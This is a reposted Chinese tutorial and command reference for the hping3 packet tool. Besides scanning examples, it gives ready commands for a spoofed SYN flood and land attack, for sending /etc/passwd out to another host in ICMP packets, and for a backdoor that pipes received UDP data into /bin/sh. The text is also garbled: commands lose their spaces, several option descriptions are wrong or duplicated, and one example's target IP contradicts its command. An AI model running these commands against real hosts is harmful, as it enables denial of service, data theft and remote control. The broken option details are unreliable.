linux hping3命令,系列H - hping3 - 测试网络及主机的安全 - 《Linux命令大全》 - 技术池(jishuchi.com)...
hping3
測試網(wǎng)絡(luò)及主機的安全
補充說明
hping 是用于生成和解析TCPIP協(xié)議數(shù)據(jù)包的開源工具。創(chuàng)作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl腳本自動化地調(diào)用其API。hping是安全審計、防火墻測試等工作的標(biāo)配工具。hping優(yōu)勢在于能夠定制數(shù)據(jù)包的各個部分,因此用戶可以靈活對目標(biāo)機進(jìn)行細(xì)致地探測。
安裝yum install libpcap-devel tc-devel
ln-s/usr/include/pcap-bpf.h/usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
選項-H--help顯示幫助。
-v-VERSION版本信息。
-c--count count發(fā)送數(shù)據(jù)包的次數(shù)關(guān)于countreached_timeout可以在hping2.h里編輯。
-i--interval包發(fā)送間隔時間(單位是毫秒)缺省時間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時此功能也會被用到,你可以參考hping-howto獲得更多信息-fast每秒發(fā)10個數(shù)據(jù)包。
-n-nmeric數(shù)字輸出,象征性輸出主機地址。
-q-quiet退出。
-I--interfaceinterfacename無非就是eth0之類的參數(shù)。
-v--verbose顯示很多信息,TCP回應(yīng)一般如:len=46ip=192.168.1.1flags=RADF seq=0ttl=255id=0win=0rtt=0.4mstos=0iplen=40seq=0ack=1380893504sum=2010urp=0
-D--debug進(jìn)入debug模式當(dāng)你遇到麻煩時,比如用HPING遇到一些不合你習(xí)慣的時候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z--bind快捷鍵的使用。
-Z--unbind消除快捷鍵。
-O--rawip RAWIP模式,在此模式下HPING會發(fā)送帶數(shù)據(jù)的IP頭。
-1--icmp ICMP模式,此模式下HPING會發(fā)送IGMP應(yīng)答報,你可以用--ICMPTYPE--ICMPCODE選項發(fā)送其他類型/模式的ICMP報文。
-2--udp UDP模式,缺省下,HPING會發(fā)送UDP報文到主機的0端口,你可以用--baseport--destport--keep選項指定其模式。
-9--listen signatuer hping的listen模式,用此模式,HPING會接收指定的數(shù)據(jù)。
-a--spoof hostname偽造IP攻擊,防火墻就不會記錄你的真實IP了,當(dāng)然回應(yīng)的包你也接收不到了。
-t--ttl time to live可以指定發(fā)出包的TTL值。
-H--ipproto在RAW IP模式里選擇IP協(xié)議。
-w--WINID UNIX,WINDIWS的id回應(yīng)不同的,這選項可以讓你的ID回應(yīng)和WINDOWS一樣。
-r--rel更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。
-F--FRAG更改包的FRAG,這可以測試對方對于包碎片的處理能力,缺省的“virtualmtu”是16字節(jié)。
-x--morefrag此功能可以發(fā)送碎片使主機忙于恢復(fù)碎片而造成主機的拒絕服務(wù)。
-y-dontfrag發(fā)送不可恢復(fù)的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。
-G--fragoff fragment offset valuesetthe fragment offset
-m--mtu mtu value用此項后ID數(shù)值變得很大,50000沒指定此項時3000-20000左右。
-G--rroute記錄路由,可以看到詳悉的數(shù)據(jù)等等,最多可以經(jīng)過9個路由,即使主機屏蔽了ICMP報文。
-C--ICMPTYPE type指定ICMP類型,缺省是ICMP echo REQUEST。
-K--ICMPCODE CODE指定ICMP代號,缺省0。
--icmp-ipver把IP版本也插入IP頭。
--icmp-iphlen設(shè)置IP頭的長度,缺省為5(32字節(jié))。
--icmp-iplen設(shè)置IP包長度。
--icmp-ipid設(shè)置ICMP報文IP頭的ID,缺省是RANDOM。
--icmp-ipproto設(shè)置協(xié)議的,缺省是TCP。
-icmp-cksum設(shè)置校驗和。
-icmp-tsaliasfor--icmptype13(to send ICMP timestamp requests)
--icmp-addrAliasfor--icmptype17(to send ICMP address mask requests)
-s--baseport source port hping用源端口猜測回應(yīng)的包,它從一個基本端口計數(shù),每收一個包,端口也加1,這規(guī)則你可以自己定義。
-p--deskport[+][+]desk port設(shè)置目標(biāo)端口,缺省為0,一個加號設(shè)置為:每發(fā)送一個請求包到達(dá)后,端口加1,兩個加號為:每發(fā)一個包,端口數(shù)加1。
--keep上面說過了。
-w--win發(fā)的大小和windows一樣大,64BYTE。
-O--tcpoffSetfake tcp data offset.Normaldata offsetistcphdrlen/4.
-m--tcpseq設(shè)置TCP序列數(shù)。
-l--tcpck設(shè)置TCP ack。
-Q--seqnum搜集序列號的,這對于你分析TCP序列號有很大作用。
Hping3功能
Hping3主要有以下典型功能應(yīng)用:
防火墻測試
測試防火墻對ICMP包的反應(yīng)、是否支持traceroute、是否開放某個端口、對防火墻進(jìn)行拒絕服務(wù)攻擊(DoS attack)。例如,以LandAttack方式測試目標(biāo)防火墻(Land Attack是將發(fā)送源地址設(shè)置為與目標(biāo)地址相同,誘使目標(biāo)機與自己不停地建立連接)。
hping3-S-c1000000-a10.10.10.10-p2110.10.10.10
端口掃描
Hping3也可以對目標(biāo)端口進(jìn)行掃描。Hping3支持指定TCP各個標(biāo)志位、長度等信息。以下示例可用于探測目標(biāo)機的80端口是否開放:
hping3-I eth0-S192.168.10.1-p80
其中-I eth0指定使用eth0端口,-S指定TCP包的標(biāo)志位SYN,-p 80指定探測的目的端口。
hping3支持非常豐富的端口探測方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因為Hping3僅發(fā)送與接收包,不會維護(hù)連接,所以不支持connect方式探測)。而且Hping3能夠?qū)Πl(fā)送的探測進(jìn)行更加精細(xì)的控制,方便用戶微調(diào)探測結(jié)果。當(dāng)然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量端口進(jìn)行掃描。
Idle掃描
Idle掃描(Idle Scanning)是一種匿名掃描遠(yuǎn)程主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發(fā)明的,目前Idle掃描在Nmap中也有實現(xiàn)。
該掃描原理是:尋找一臺idle主機(該主機沒有任何的網(wǎng)絡(luò)流量,并且IPID是逐個增長的),攻擊端主機先向idle主機發(fā)送探測包,從回復(fù)包中獲取其IPID。冒充idle主機的IP地址向遠(yuǎn)程主機的端口發(fā)送SYN包(此處假設(shè)為SYN包),此時如果遠(yuǎn)程主機的目的端口開放,那么會回復(fù)SYN/ACK,此時idle主機收到SYN/ACK后回復(fù)RST包。然后攻擊端主機再向idle主機發(fā)送探測包,獲取其IPID。那么對比兩次的IPID值,我們就可以判斷遠(yuǎn)程主機是否回復(fù)了數(shù)據(jù)包,從而間接地推測其端口狀態(tài)。
拒絕服務(wù)攻擊
使用Hping3可以很方便構(gòu)建拒絕服務(wù)攻擊。比如對目標(biāo)機發(fā)起大量SYN連接,偽造源地址為192.168.10.99,并使用1000微秒的間隔發(fā)送各個SYN包。
hping3-I eth0-a192.168.10.99-S192.168.10.33-p80-i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構(gòu)建出來。
文件傳輸
Hping3支持通過TCP/UDP/ICMP等包來進(jìn)行文件傳輸。相當(dāng)于借助TCP/UDP/ICMP包建立隱秘隧道通訊。實現(xiàn)方式是開啟監(jiān)聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內(nèi)容進(jìn)行相應(yīng)的解析。在接收端開啟服務(wù):
hping3192.168.1.159--listen signature--safe--icmp
監(jiān)聽ICMP包中的簽名,根據(jù)簽名解析出文件內(nèi)容。
在發(fā)送端使用簽名打包的ICMP包發(fā)送文件:
hping3192.168.1.108--icmp?d100--sign signature--file/etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機。發(fā)送包大小為100字節(jié)(-d 100),發(fā)送簽名為signature(-sign signature)。
木馬功能
如果Hping3能夠在遠(yuǎn)程主機上啟動,那么可以作為木馬程序啟動監(jiān)聽端口,并在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號UDP端口(DNS解析服務(wù))監(jiān)聽來自192.168.10.66主機的包含簽名為signature的數(shù)據(jù)包,并將收到的數(shù)據(jù)調(diào)用/bin/sh執(zhí)行。
在木馬啟動端:
hping3192.168.10.66--listen signature--safe--udp-p53|/bin/sh
在遠(yuǎn)程控制端:
echo ls>test.cmd
hping3192.168.10.44-p53-d100--udp--sign siganature--file./test.cmd
將包含ls命令的文件加上簽名signature發(fā)送到192.168.10.44主機的53號UDP端口,包數(shù)據(jù)長度為100字節(jié)。
當(dāng)然這里只是簡單的演示程序,真實的場景,控制端可以利益shell執(zhí)行很多的高級復(fù)雜的操作。
總結(jié)
以上是生活随笔為你收集整理的linux hping3命令,系列H - hping3 - 测试网络及主机的安全 - 《Linux命令大全》 - 技术池(jishuchi.com)...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
                            
                        - 上一篇: oracle负数怎么比较大小,输出负数【
 - 下一篇: CSS实现div梯形分割